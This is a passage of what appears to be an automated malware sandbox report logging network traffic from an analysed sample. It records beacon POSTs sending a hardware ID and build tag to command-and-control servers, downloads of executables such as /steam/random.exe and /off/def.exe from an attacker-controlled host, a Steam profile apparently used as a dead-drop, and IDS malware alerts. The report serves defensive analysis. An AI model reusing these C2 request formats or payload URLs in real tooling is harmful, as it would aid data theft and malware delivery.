name="hwid"E14A7D2291254071173853------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="build"doma------HCGDGIDGIJKKEBGDAECA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJKKECFIECAKECAFBGCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 2d 2d 0d 0a Data Ascii: ------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="build"doma------FHJKKECFIECAKECAFBGC--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGDGIIJJECFIDHJJKKFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="build"doma------JEGDGIIJJECFIDHJJKKF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBFIIIEHCFHJKFHDHDAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 2d 2d 0d 0a Data Ascii: ------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="build"doma------JEBFIIIEHCFHJKFHDHDA--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEHIEBGHDAFIEBGIEHJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 2d 2d 0d 0a Data Ascii: ------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="build"doma------BAEHIEBGHDAFIEBGIEHJ--

Source: Joe Sandbox View	IP Address: 104.21.53.8 104.21.53.8
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49996 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49774 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50000 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50008 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50017 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50017 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50013 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50047 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:59440 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
